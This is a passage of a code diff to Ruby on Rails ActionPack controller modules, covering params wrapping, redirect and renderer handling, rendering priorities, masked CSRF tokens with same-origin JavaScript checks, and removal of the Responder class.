--- a/actionpack/lib/action_controller/metal/params_wrapper.rb
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -1,7 +1,6 @@
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/module/anonymous'
-require 'active_support/core_ext/struct'
 require 'action_dispatch/http/mime_type'
 
 module ActionController
@@ -86,7 +85,7 @@ module ActionController
         new name, format, include, exclude, nil, nil
       end
 
-      def initialize(name, format, include, exclude, klass, model) # nodoc
+      def initialize(name, format, include, exclude, klass, model) # :nodoc:
         super
         @include_set = include
         @name_set    = name
@@ -231,7 +230,12 @@ module ActionController
     # by the metal call stack.
     def process_action(*args)
       if _wrapper_enabled?
-        wrapped_hash = _wrap_parameters request.request_parameters
+        if request.parameters[_wrapper_key].present?
+          wrapped_hash = _extract_parameters(request.parameters)
+        else
+          wrapped_hash = _wrap_parameters request.request_parameters
+        end
+
         wrapped_keys = request.request_parameters.keys
         wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
 
@@ -239,7 +243,7 @@ module ActionController
         request.parameters.merge! wrapped_hash
         request.request_parameters.merge! wrapped_hash
 
-        # This will make the wrapped hash displayed in the log file
+        # This will display the wrapped hash in the log file
         request.filtered_parameters.merge! wrapped_filtered_hash
       end
       super
@@ -247,7 +251,7 @@ module ActionController
 
     private
 
-      # Returns the wrapper key which will use to stored wrapped parameters.
+      # Returns the wrapper key which will be used to stored wrapped parameters.
       def _wrapper_key
         _wrapper_options.name
       end
@@ -259,14 +263,16 @@ module ActionController
 
       # Returns the list of parameters which will be selected for wrapped.
       def _wrap_parameters(parameters)
-        value = if include_only = _wrapper_options.include
+        { _wrapper_key => _extract_parameters(parameters) }
+      end
+
+      def _extract_parameters(parameters)
+        if include_only = _wrapper_options.include
           parameters.slice(*include_only)
         else
           exclude = _wrapper_options.exclude || []
           parameters.except(*(exclude + EXCLUDE_PARAMETERS))
         end
-
-        { _wrapper_key => value }
       end
 
       # Checks if we should perform parameters wrapping.
diff --git a/actionpack/lib/action_controller/metal/rack_delegation.rb b/actionpack/lib/action_controller/metal/rack_delegation.rb
index bdf6e88699..ae9d89cc8c 100644
--- a/actionpack/lib/action_controller/metal/rack_delegation.rb
+++ b/actionpack/lib/action_controller/metal/rack_delegation.rb
@@ -6,11 +6,17 @@ module ActionController
     extend ActiveSupport::Concern
 
     delegate :headers, :status=, :location=, :content_type=,
-             :status, :location, :content_type, :to => "@_response"
+             :status, :location, :content_type, :response_code, :to => "@_response"
 
-    def dispatch(action, request)
+    module ClassMethods
+      def build_with_env(env = {}) #:nodoc:
+        new.tap { |c| c.set_request! ActionDispatch::Request.new(env) }
+      end
+    end
+
+    def set_request!(request) #:nodoc:
+      super
       set_response!(request)
-      super(action, request)
     end
 
     def response_body=(body)
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
index e9031f3fac..acaa8227c9 100644
--- a/actionpack/lib/action_controller/metal/redirecting.rb
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -14,7 +14,7 @@ module ActionController
     include ActionController::RackDelegation
     include ActionController::UrlFor
 
-    # Redirects the browser to the target specified in +options+. This parameter can take one of three forms:
+    # Redirects the browser to the target specified in +options+. This parameter can be any one of:
     #
     # * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.
     # * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
@@ -24,6 +24,8 @@ module ActionController
     # * <tt>:back</tt> - Back to the page that issued the request. Useful for forms that are triggered from multiple places.
     #   Short-hand for <tt>redirect_to(request.env["HTTP_REFERER"])</tt>
     #
+    # === Examples:
+    #
     #   redirect_to action: "show", id: 5
     #   redirect_to post
     #   redirect_to "http://www.rubyonrails.org"
@@ -32,7 +34,7 @@ module ActionController
     #   redirect_to :back
     #   redirect_to proc { edit_post_url(@post) }
     #
-    # The redirection happens as a "302 Found" header unless otherwise specified.
+    # The redirection happens as a "302 Found" header unless otherwise specified using the <tt>:status</tt> option:
     #
     #   redirect_to post_url(@post), status: :found
     #   redirect_to action: 'atom', status: :moved_permanently
@@ -58,18 +60,43 @@ module ActionController
     #   redirect_to post_url(@post), alert: "Watch it, mister!"
     #   redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
     #   redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
-    #   redirect_to { action: 'atom' }, alert: "Something serious happened"
+    #   redirect_to({ action: 'atom' }, alert: "Something serious happened")
     #
-    # When using <tt>redirect_to :back</tt>, if there is no referrer, ActionController::RedirectBackError will be raised. You may specify some fallback
-    # behavior for this case by rescuing ActionController::RedirectBackError.
+    # When using <tt>redirect_to :back</tt>, if there is no referrer,
+    # <tt>ActionController::RedirectBackError</tt> will be raised. You
+    # may specify some fallback behavior for this case by rescuing
+    # <tt>ActionController::RedirectBackError</tt>.
     def redirect_to(options = {}, response_status = {}) #:doc:
       raise ActionControllerError.new("Cannot redirect to nil!") unless options
+      raise ActionControllerError.new("Cannot redirect to a parameter hash!") if options.is_a?(ActionController::Parameters)
       raise AbstractController::DoubleRenderError if response_body
 
       self.status        = _extract_redirect_to_status(options, response_status)
-      self.location      = _compute_redirect_to_location(options)
-      self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.h(location)}\">redirected</a>.</body></html>"
+      self.location      = _compute_redirect_to_location(request, options)
+      self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>"
+    end
+
+    def _compute_redirect_to_location(request, options) #:nodoc:
+      case options
+      # The scheme name consist of a letter followed by any combination of
+      # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
+      # characters; and is terminated by a colon (":").
+      # See http://tools.ietf.org/html/rfc3986#section-3.1
+      # The protocol relative scheme starts with a double slash "//".
+      when /\A([a-z][a-z\d\-+\.]*:|\/\/).*/i
+        options
+      when String
+        request.protocol + request.host_with_port + options
+      when :back
+        request.headers["Referer"] or raise RedirectBackError
+      when Proc
+        _compute_redirect_to_location request, options.call
+      else
+        url_for(options)
+      end.delete("\0\r\n")
     end
+    module_function :_compute_redirect_to_location
+    public :_compute_redirect_to_location
 
     private
       def _extract_redirect_to_status(options, response_status)
@@ -81,24 +108,5 @@ module ActionController
           302
         end
       end
-
-      def _compute_redirect_to_location(options)
-        case options
-        # The scheme name consist of a letter followed by any combination of
-        # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
-        # characters; and is terminated by a colon (":").
-        # The protocol relative scheme starts with a double slash "//"
-        when %r{\A(\w[\w+.-]*:|//).*}
-          options
-        when String
-          request.protocol + request.host_with_port + options
-        when :back
-          request.headers["Referer"] or raise RedirectBackError
-        when Proc
-          _compute_redirect_to_location options.call
-        else
-          url_for(options)
-        end.delete("\0\r\n")
-      end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
index abed6e53cc..45d3962494 100644
--- a/actionpack/lib/action_controller/metal/renderers.rb
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -6,10 +6,14 @@ module ActionController
     Renderers.add(key, &block)
   end
 
+  # See <tt>Renderers.remove</tt>
+  def self.remove_renderer(key)
+    Renderers.remove(key)
+  end
+
   class MissingRenderer < LoadError
     def initialize(format)
-      @format = format
-      super("No renderer defined for format: #{@format}")
+      super "No renderer defined for format: #{format}"
     end
   end
 
@@ -30,23 +34,28 @@ module ActionController
     end
 
     def render_to_body(options)
-      _handle_render_options(options) || super
+      _render_to_body_with_renderer(options) || super
     end
 
-    def _handle_render_options(options)
+    def _render_to_body_with_renderer(options)
       _renderers.each do |name|
         if options.key?(name)
           _process_options(options)
-          return send("_render_option_#{name}", options.delete(name), options)
+          method_name = Renderers._render_with_renderer_method_name(name)
+          return send(method_name, options.delete(name), options)
         end
       end
       nil
     end
 
-    # Hash of available renderers, mapping a renderer name to its proc.
-    # Default keys are :json, :js, :xml.
+    # A Set containing renderer names that correspond to available renderer procs.
+    # Default values are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>.
     RENDERERS = Set.new
 
+    def self._render_with_renderer_method_name(key)
+      "_render_with_renderer_#{key}"
+    end
+
     # Adds a new renderer to call within controller actions.
     # A renderer is invoked by passing its name as an option to
     # <tt>AbstractController::Rendering#render</tt>. To create a renderer
@@ -74,16 +83,26 @@ module ActionController
     #     respond_to do |format|
     #       format.html
     #       format.csv { render csv: @csvable, filename: @csvable.name }
-    #     }
+    #     end
     #   end
     # To use renderers and their mime types in more concise ways, see
-    # <tt>ActionController::MimeResponds::ClassMethods.respond_to</tt> and
-    # <tt>ActionController::MimeResponds#respond_with</tt>
+    # <tt>ActionController::MimeResponds::ClassMethods.respond_to</tt>
     def self.add(key, &block)
-      define_method("_render_option_#{key}", &block)
+      define_method(_render_with_renderer_method_name(key), &block)
       RENDERERS << key.to_sym
     end
 
+    # This method is the opposite of add method.
+    #
+    # Usage:
+    #
+    #   ActionController::Renderers.remove(:csv)
+    def self.remove(key)
+      RENDERERS.delete(key.to_sym)
+      method_name = _render_with_renderer_method_name(key)
+      remove_method(method_name) if method_defined?(method_name)
+    end
+
     module All
       extend ActiveSupport::Concern
       include Renderers
@@ -97,8 +116,11 @@ module ActionController
       json = json.to_json(options) unless json.kind_of?(String)
 
       if options[:callback].present?
-        self.content_type ||= Mime::JS
-        "#{options[:callback]}(#{json})"
+        if content_type.nil? || content_type == Mime::JSON
+          self.content_type = Mime::JS
+        end
+
+        "/**/#{options[:callback]}(#{json})"
       else
         self.content_type ||= Mime::JSON
         json
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
index 21224b9c3b..2d15c39d88 100644
--- a/actionpack/lib/action_controller/metal/rendering.rb
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -1,38 +1,19 @@
 module ActionController
-  # Basic rendering implements the most minimal rendering layer.
-  # It only supports rendering :text and :nothing. Passing any other option will
-  # result in `UnsupportedOperationError` exception. For more functionality like
-  # different formats, layouts etc. you should use `ActionView` gem.
-  module BasicRendering
+  module Rendering
     extend ActiveSupport::Concern
 
-    # Render text or nothing (empty string) to response_body
-    # :api: public
-    def render(*args, &block)
-      super(*args, &block)
-      opts = args.first
-      if opts.has_key?(:text) && opts[:text].present?
-        self.response_body = opts[:text]
-      elsif opts.has_key?(:nothing) && opts[:nothing]
-        self.response_body = " "
-      else
-        raise UnsupportedOperationError
-      end
-    end
+    RENDER_FORMATS_IN_PRIORITY = [:body, :text, :plain, :html]
 
-    def rendered_format
-      Mime::TEXT
-    end
+    module ClassMethods
+      # Documentation at ActionController::Renderer#render
+      delegate :render, to: :renderer
 
-    class UnsupportedOperationError < StandardError
-      def initialize
-        super "Unsupported render operation. BasicRendering supports only :text and :nothing options. For more, you need to include ActionView."
+      # Returns a renderer class (inherited from ActionController::Renderer)
+      # for the controller.
+      def renderer
+        @renderer ||= Renderer.for(self)
       end
     end
-  end
-
-  module Rendering
-    extend ActiveSupport::Concern
 
     # Before processing, set the request formats in current controller formats.
     def process_action(*) #:nodoc:
@@ -44,27 +25,44 @@ module ActionController
     def render(*args) #:nodoc:
       raise ::AbstractController::DoubleRenderError if self.response_body
       super
-      self.content_type ||= rendered_format.to_s
-      self.response_body
     end
 
     # Overwrite render_to_string because body can now be set to a rack body.
     def render_to_string(*)
-      if self.response_body = super
+      result = super
+      if result.respond_to?(:each)
         string = ""
-        self.response_body.each { |r| string << r }
+        result.each { |r| string << r }
         string
+      else
+        result
       end
-    ensure
-      self.response_body = nil
     end
 
-    def render_to_body(*)
-      super || " "
+    def render_to_body(options = {})
+      super || _render_in_priorities(options) || ' '
     end
 
     private
 
+    def _render_in_priorities(options)
+      RENDER_FORMATS_IN_PRIORITY.each do |format|
+        return options[format] if options.key?(format)
+      end
+
+      nil
+    end
+
+    def _process_format(format, options = {})
+      super
+
+      if options[:plain]
+        self.content_type = Mime::TEXT
+      else
+        self.content_type ||= format.to_s
+      end
+    end
+
     # Normalize arguments by catching blocks and setting them on :update.
     def _normalize_args(action=nil, options={}, &blk) #:nodoc:
       options = super
@@ -74,12 +72,14 @@ module ActionController
 
     # Normalize both text and status options.
     def _normalize_options(options) #:nodoc:
-      if options.key?(:text) && options[:text].respond_to?(:to_text)
-        options[:text] = options[:text].to_text
+      _normalize_text(options)
+
+      if options[:html]
+        options[:html] = ERB::Util.html_escape(options[:html])
       end
 
-      if options.delete(:nothing) || (options.key?(:text) && options[:text].nil?)
-        options[:text] = " "
+      if options.delete(:nothing)
+        options[:body] = nil
       end
 
       if options[:status]
@@ -89,6 +89,14 @@ module ActionController
       super
     end
 
+    def _normalize_text(options)
+      RENDER_FORMATS_IN_PRIORITY.each do |format|
+        if options.key?(format) && options[format].respond_to?(:to_text)
+          options[format] = options[format].to_text
+        end
+      end
+    end
+
     # Process controller specific options, as status, content-type and location.
     def _process_options(options) #:nodoc:
       status, content_type, location = options.values_at(:status, :content_type, :location)
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index 573c739da4..7facbe79aa 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -1,31 +1,35 @@
 require 'rack/session/abstract/id'
 require 'action_controller/metal/exceptions'
+require 'active_support/security_utils'
 
 module ActionController #:nodoc:
   class InvalidAuthenticityToken < ActionControllerError #:nodoc:
   end
 
+  class InvalidCrossOriginRequest < ActionControllerError #:nodoc:
+  end
+
   # Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks
-  # by including a token in the rendered html for your application. This token is
+  # by including a token in the rendered HTML for your application. This token is
   # stored as a random string in the session, to which an attacker does not have
   # access. When a request reaches your application, \Rails verifies the received
   # token with the token in the session. Only HTML and JavaScript requests are checked,
   # so this will not protect your XML API (presumably you'll have a different
-  # authentication scheme there anyway). Also, GET requests are not protected as these
-  # should be idempotent.
+  # authentication scheme there anyway).
+  #
+  # GET requests are not protected since they don't have side effects like writing
+  # to the database and don't leak sensitive information. JavaScript requests are
+  # an exception: a third-party site can use a <script> tag to reference a JavaScript
+  # URL on your site. When your JavaScript response loads on their site, it executes.
+  # With carefully crafted JavaScript on their end, sensitive data in your JavaScript
+  # response may be extracted. To prevent this, only XmlHttpRequest (known as XHR or
+  # Ajax) requests are allowed to make GET requests for JavaScript responses.
   #
   # It's important to remember that XML or JSON requests are also affected and if
   # you're building an API you'll need something like:
   #
   #   class ApplicationController < ActionController::Base
-  #     protect_from_forgery
-  #     skip_before_action :verify_authenticity_token, if: :json_request?
-  #
-  #     protected
-  #
-  #     def json_request?
-  #       request.format.json?
-  #     end
+  #     protect_from_forgery unless: -> { request.format.json? }
   #   end
   #
   # CSRF protection is turned on with the <tt>protect_from_forgery</tt> method,
@@ -34,7 +38,7 @@ module ActionController #:nodoc:
   #
   # The token parameter is named <tt>authenticity_token</tt> by default. The name and
   # value of this token must be added to every layout that renders forms by including
-  # <tt>csrf_meta_tags</tt> in the html +head+.
+  # <tt>csrf_meta_tags</tt> in the HTML +head+.
   #
   # Learn more about CSRF attacks and securing your application in the
   # {Ruby on Rails Security Guide}[http://guides.rubyonrails.org/security.html].
@@ -58,27 +62,36 @@ module ActionController #:nodoc:
       config_accessor :allow_forgery_protection
       self.allow_forgery_protection = true if allow_forgery_protection.nil?
 
+      # Controls whether a CSRF failure logs a warning. On by default.
+      config_accessor :log_warning_on_csrf_failure
+      self.log_warning_on_csrf_failure = true
+
       helper_method :form_authenticity_token
       helper_method :protect_against_forgery?
     end
 
     module ClassMethods
-      # Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
+      # Turn on request forgery protection. Bear in mind that GET and HEAD requests are not checked.
+      #
+      #   class ApplicationController < ActionController::Base
+      #     protect_from_forgery
+      #   end
       #
       #   class FooController < ApplicationController
       #     protect_from_forgery except: :index
       #
-      # You can disable csrf protection on controller-by-controller basis:
-      #
+      # You can disable forgery protection on controller by skipping the verification before_action:
       #   skip_before_action :verify_authenticity_token
       #
-      # It can also be disabled for specific controller actions:
-      #
-      #   skip_before_action :verify_authenticity_token, except: [:create]
-      #
       # Valid Options:
       #
-      # * <tt>:only/:except</tt> - Passed to the <tt>before_action</tt> call. Set which actions are verified.
+      # * <tt>:only/:except</tt> - Only apply forgery protection to a subset of actions. Like <tt>only: [ :create, :create_all ]</tt>.
+      # * <tt>:if/:unless</tt> - Turn off the forgery protection entirely depending on the passed proc or method reference.
+      # * <tt>:prepend</tt> - By default, the verification of the authentication token is added to the front of the
+      #   callback chain. If you need to make the verification depend on other callbacks, like authentication methods
+      #   (say cookies vs oauth), this might not work for you. Pass <tt>prepend: false</tt> to just add the
+      #   verification callback in the position of the protect_from_forgery call. This means any callbacks added
+      #   before are run first.
       # * <tt>:with</tt> - Set the method to handle unverified request.
       #
       # Valid unverified request handling methods are:
@@ -86,9 +99,12 @@ module ActionController #:nodoc:
       # * <tt>:reset_session</tt> - Resets the session.
       # * <tt>:null_session</tt> - Provides an empty session during request but doesn't reset it completely. Used as default if <tt>:with</tt> option is not specified.
       def protect_from_forgery(options = {})
+        options = options.reverse_merge(prepend: true)
+
         self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
         self.request_forgery_protection_token ||= :authenticity_token
-        prepend_before_action :verify_authenticity_token, options
+        before_action :verify_authenticity_token, options
+        append_after_action :verify_same_origin_request
       end
 
       private
@@ -124,6 +140,9 @@ module ActionController #:nodoc:
             @loaded = true
           end
 
+          # no-op
+          def destroy; end
+
           def exists?
             true
           end
@@ -166,18 +185,66 @@ module ActionController #:nodoc:
     end
 
     protected
+      # The actual before_action that is used to verify the CSRF token.
+      # Don't override this directly. Provide your own forgery protection
+      # strategy instead. If you override, you'll disable same-origin
+      # `<script>` verification.
+      #
+      # Lean on the protect_from_forgery declaration to mark which actions are
+      # due for same-origin request verification. If protect_from_forgery is
+      # enabled on an action, this before_action flags its after_action to
+      # verify that JavaScript responses are for XHR requests, ensuring they
+      # follow the browser's same-origin policy.
+      def verify_authenticity_token
+        mark_for_same_origin_verification!
+
+        if !verified_request?
+          if logger && log_warning_on_csrf_failure
+            logger.warn "Can't verify CSRF token authenticity"
+          end
+          handle_unverified_request
+        end
+      end
+
       def handle_unverified_request
         forgery_protection_strategy.new(self).handle_unverified_request
       end
 
-      # The actual before_action that is used. Modify this to change how you handle unverified requests.
-      def verify_authenticity_token
-        unless verified_request?
-          logger.warn "Can't verify CSRF token authenticity" if logger
-          handle_unverified_request
+      #:nodoc:
+      CROSS_ORIGIN_JAVASCRIPT_WARNING = "Security warning: an embedded " \
+        "<script> tag on another site requested protected JavaScript. " \
+        "If you know what you're doing, go ahead and disable forgery " \
+        "protection on this action to permit cross-origin JavaScript embedding."
+      private_constant :CROSS_ORIGIN_JAVASCRIPT_WARNING
+
+      # If `verify_authenticity_token` was run (indicating that we have
+      # forgery protection enabled for this request) then also verify that
+      # we aren't serving an unauthorized cross-origin response.
+      def verify_same_origin_request
+        if marked_for_same_origin_verification? && non_xhr_javascript_response?
+          logger.warn CROSS_ORIGIN_JAVASCRIPT_WARNING if logger
+          raise ActionController::InvalidCrossOriginRequest, CROSS_ORIGIN_JAVASCRIPT_WARNING
         end
       end
 
+      # GET requests are checked for cross-origin JavaScript after rendering.
+      def mark_for_same_origin_verification!
+        @marked_for_same_origin_verification = request.get?
+      end
+
+      # If the `verify_authenticity_token` before_action ran, verify that
+      # JavaScript responses are only served to same-origin GET requests.
+      def marked_for_same_origin_verification?
+        @marked_for_same_origin_verification ||= false
+      end
+
+      # Check for cross-origin JavaScript responses.
+      def non_xhr_javascript_response?
+        content_type =~ %r(\Atext/javascript) && !request.xhr?
+      end
+
+      AUTHENTICITY_TOKEN_LENGTH = 32
+
       # Returns true or false if a request is verified. Checks:
       #
       # * is it a GET or HEAD request?  Gets should be safe and idempotent
@@ -185,13 +252,72 @@ module ActionController #:nodoc:
       # * Does the X-CSRF-Token header match the form_authenticity_token
       def verified_request?
         !protect_against_forgery? || request.get? || request.head? ||
-          form_authenticity_token == params[request_forgery_protection_token] ||
-          form_authenticity_token == request.headers['X-CSRF-Token']
+          valid_authenticity_token?(session, form_authenticity_param) ||
+          valid_authenticity_token?(session, request.headers['X-CSRF-Token'])
       end
 
       # Sets the token value for the current session.
       def form_authenticity_token
-        session[:_csrf_token] ||= SecureRandom.base64(32)
+        masked_authenticity_token(session)
+      end
+
+      # Creates a masked version of the authenticity token that varies
+      # on each request. The masking is used to mitigate SSL attacks
+      # like BREACH.
+      def masked_authenticity_token(session)
+        one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
+        encrypted_csrf_token = xor_byte_strings(one_time_pad, real_csrf_token(session))
+        masked_token = one_time_pad + encrypted_csrf_token
+        Base64.strict_encode64(masked_token)
+      end
+
+      # Checks the client's masked token to see if it matches the
+      # session token. Essentially the inverse of
+      # +masked_authenticity_token+.
+      def valid_authenticity_token?(session, encoded_masked_token)
+        return false if encoded_masked_token.nil? || encoded_masked_token.empty?
+
+        begin
+          masked_token = Base64.strict_decode64(encoded_masked_token)
+        rescue ArgumentError # encoded_masked_token is invalid Base64
+          return false
+        end
+
+        # See if it's actually a masked token or not. In order to
+        # deploy this code, we should be able to handle any unmasked
+        # tokens that we've issued without error.
+
+        if masked_token.length == AUTHENTICITY_TOKEN_LENGTH
+          # This is actually an unmasked token. This is expected if
+          # you have just upgraded to masked tokens, but should stop
+          # happening shortly after installing this gem
+          compare_with_real_token masked_token, session
+
+        elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2
+          # Split the token into the one-time pad and the encrypted
+          # value and decrypt it
+          one_time_pad = masked_token[0...AUTHENTICITY_TOKEN_LENGTH]
+          encrypted_csrf_token = masked_token[AUTHENTICITY_TOKEN_LENGTH..-1]
+          csrf_token = xor_byte_strings(one_time_pad, encrypted_csrf_token)
+
+          compare_with_real_token csrf_token, session
+
+        else
+          false # Token is malformed
+        end
+      end
+
+      def compare_with_real_token(token, session)
+        ActiveSupport::SecurityUtils.secure_compare(token, real_csrf_token(session))
+      end
+
+      def real_csrf_token(session)
+        session[:_csrf_token] ||= SecureRandom.base64(AUTHENTICITY_TOKEN_LENGTH)
+        Base64.strict_decode64(session[:_csrf_token])
+      end
+
+      def xor_byte_strings(s1, s2)
+        s1.bytes.zip(s2.bytes).map { |(c1,c2)| c1 ^ c2 }.pack('c*')
       end
 
       # The form's authenticity parameter. Override to provide your own.
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
deleted file mode 100644
index 66ff34a794..0000000000
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ /dev/null
@@ -1,297 +0,0 @@
-require 'active_support/json'
-
-module ActionController #:nodoc:
-  # Responsible for exposing a resource to different mime requests,
-  # usually depending on the HTTP verb. The responder is triggered when
-  # <code>respond_with</code> is called. The simplest case to study is a GET request:
-  #
-  #   class PeopleController < ApplicationController
-  #     respond_to :html, :xml, :json
-  #
-  #     def index
-  #       @people = Person.all
-  #       respond_with(@people)
-  #     end
-  #   end
-  #
-  # When a request comes in, for example for an XML response, three steps happen:
-  #
-  #   1) the responder searches for a template at people/index.xml;
-  #
-  #   2) if the template is not available, it will invoke <code>#to_xml</code> on the given resource;
-  #
-  #   3) if the responder does not <code>respond_to :to_xml</code>, call <code>#to_format</code> on it.
-  #
-  # === Builtin HTTP verb semantics
-  #
-  # The default \Rails responder holds semantics for each HTTP verb. Depending on the
-  # content type, verb and the resource status, it will behave differently.
-  #
-  # Using \Rails default responder, a POST request for creating an object could
-  # be written as:
-  #
-  #   def create
-  #     @user = User.new(params[:user])
-  #     flash[:notice] = 'User was successfully created.' if @user.save
-  #     respond_with(@user)
-  #   end
-  #
-  # Which is exactly the same as:
-  #
-  #   def create
-  #     @user = User.new(params[:user])
-  #
-  #     respond_to do |format|
-  #       if @user.save
-  #         flash[:notice] = 'User was successfully created.'
-  #         format.html { redirect_to(@user) }
-  #         format.xml { render xml: @user, status: :created, location: @user }
-  #       else
-  #         format.html { render action: "new" }
-  #         format.xml { render xml: @user.errors, status: :unprocessable_entity }
-  #       end
-  #     end
-  #   end
-  #
-  # The same happens for PATCH/PUT and DELETE requests.
-  #
-  # === Nested resources
-  #
-  # You can supply nested resources as you do in <code>form_for</code> and <code>polymorphic_url</code>.
-  # Consider the project has many tasks example. The create action for
-  # TasksController would be like:
-  #
-  #   def create
-  #     @project = Project.find(params[:project_id])
-  #     @task = @project.tasks.build(params[:task])
-  #     flash[:notice] = 'Task was successfully created.' if @task.save
-  #     respond_with(@project, @task)
-  #   end
-  #
-  # Giving several resources ensures that the responder will redirect to
-  # <code>project_task_url</code> instead of <code>task_url</code>.
-  #
-  # Namespaced and singleton resources require a symbol to be given, as in
-  # polymorphic urls. If a project has one manager which has many tasks, it
-  # should be invoked as:
-  #
-  #   respond_with(@project, :manager, @task)
-  #
-  # Note that if you give an array, it will be treated as a collection,
-  # so the following is not equivalent:
-  #
-  #   respond_with [@project, :manager, @task]
-  #
-  # === Custom options
-  #
-  # <code>respond_with</code> also allows you to pass options that are forwarded
-  # to the underlying render call. Those options are only applied for success
-  # scenarios. For instance, you can do the following in the create method above:
-  #
-  #   def create
-  #     @project = Project.find(params[:project_id])
-  #     @task = @project.tasks.build(params[:task])
-  #     flash[:notice] = 'Task was successfully created.' if @task.save
-  #     respond_with(@project, @task, status: 201)
-  #   end
-  #
-  # This will return status 201 if the task was saved successfully. If not,
-  # it will simply ignore the given options and return status 422 and the
-  # resource errors. You can also override the location to redirect to:
-  #
-  #   respond_with(@project, location: root_path)
-  #
-  # To customize the failure scenario, you can pass a block to
-  # <code>respond_with</code>:
-  #
-  #   def create
-  #     @project = Project.find(params[:project_id])
-  #     @task = @project.tasks.build(params[:task])
-  #     respond_with(@project, @task, status: 201) do |format|
-  #       if @task.save
-  #         flash[:notice] = 'Task was successfully created.'
-  #       else
-  #         format.html { render "some_special_template" }
-  #       end
-  #     end
-  #   end
-  #
-  # Using <code>respond_with</code> with a block follows the same syntax as <code>respond_to</code>.
-  class Responder
-    attr_reader :controller, :request, :format, :resource, :resources, :options
-
-    DEFAULT_ACTIONS_FOR_VERBS = {
-      :post => :new,
-      :patch => :edit,
-      :put => :edit
-    }
-
-    def initialize(controller, resources, options={})
-      @controller = controller
-      @request = @controller.request
-      @format = @controller.formats.first
-      @resource = resources.last
-      @resources = resources
-      @options = options
-      @action = options.delete(:action)
-      @default_response = options.delete(:default_response)
-    end
-
-    delegate :head, :render, :redirect_to,   :to => :controller
-    delegate :get?, :post?, :patch?, :put?, :delete?, :to => :request
-
-    # Undefine :to_json and :to_yaml since it's defined on Object
-    undef_method(:to_json) if method_defined?(:to_json)
-    undef_method(:to_yaml) if method_defined?(:to_yaml)
-
-    # Initializes a new responder an invoke the proper format. If the format is
-    # not defined, call to_format.
-    #
-    def self.call(*args)
-      new(*args).respond
-    end
-
-    # Main entry point for responder responsible to dispatch to the proper format.
-    #
-    def respond
-      method = "to_#{format}"
-      respond_to?(method) ? send(method) : to_format
-    end
-
-    # HTML format does not render the resource, it always attempt to render a
-    # template.
-    #
-    def to_html
-      default_render
-    rescue ActionView::MissingTemplate => e
-      navigation_behavior(e)
-    end
-
-    # to_js simply tries to render a template. If no template is found, raises the error.
-    def to_js
-      default_render
-    end
-
-    # All other formats follow the procedure below. First we try to render a
-    # template, if the template is not available, we verify if the resource
-    # responds to :to_format and display it.
-    #
-    def to_format
-      if get? || !has_errors? || response_overridden?
-        default_render
-      else
-        display_errors
-      end
-    rescue ActionView::MissingTemplate => e
-      api_behavior(e)
-    end
-
-  protected
-
-    # This is the common behavior for formats associated with browsing, like :html, :iphone and so forth.
-    def navigation_behavior(error)
-      if get?
-        raise error
-      elsif has_errors? && default_action
-        render :action => default_action
-      else
-        redirect_to navigation_location
-      end
-    end
-
-    # This is the common behavior for formats associated with APIs, such as :xml and :json.
-    def api_behavior(error)
-      raise error unless resourceful?
-      raise MissingRenderer.new(format) unless has_renderer?
-
-      if get?
-        display resource
-      elsif post?
-        display resource, :status => :created, :location => api_location
-      else
-        head :no_content
-      end
-    end
-
-    # Checks whether the resource responds to the current format or not.
-    #
-    def resourceful?
-      resource.respond_to?("to_#{format}")
-    end
-
-    # Returns the resource location by retrieving it from the options or
-    # returning the resources array.
-    #
-    def resource_location
-      options[:location] || resources
-    end
-    alias :navigation_location :resource_location
-    alias :api_location :resource_location
-
-    # If a response block was given, use it, otherwise call render on
-    # controller.
-    #
-    def default_render
-      if @default_response
-        @default_response.call(options)
-      else
-        controller.default_render(options)
-      end
-    end
-
-    # Display is just a shortcut to render a resource with the current format.
-    #
-    #   display @user, status: :ok
-    #
-    # For XML requests it's equivalent to:
-    #
-    #   render xml: @user, status: :ok
-    #
-    # Options sent by the user are also used:
-    #
-    #   respond_with(@user, status: :created)
-    #   display(@user, status: :ok)
-    #
-    # Results in:
-    #
-    #   render xml: @user, status: :created
-    #
-    def display(resource, given_options={})
-      controller.render given_options.merge!(options).merge!(format => resource)
-    end
-
-    def display_errors
-      controller.render format => resource_errors, :status => :unprocessable_entity
-    end
-
-    # Check whether the resource has errors.
-    #
-    def has_errors?
-      resource.respond_to?(:errors) && !resource.errors.empty?
-    end
-
-    # Check whether the neceessary Renderer is available
-    def has_renderer?
-      Renderers::RENDERERS.include?(format)
-    end
-
-    # By default, render the <code>:edit</code> action for HTML requests with errors, unless
-    # the verb was POST.
-    #
-    def default_action
-      @action ||= DEFAULT_ACTIONS_FOR_VERBS[request.request_method_symbol]
-    end
-
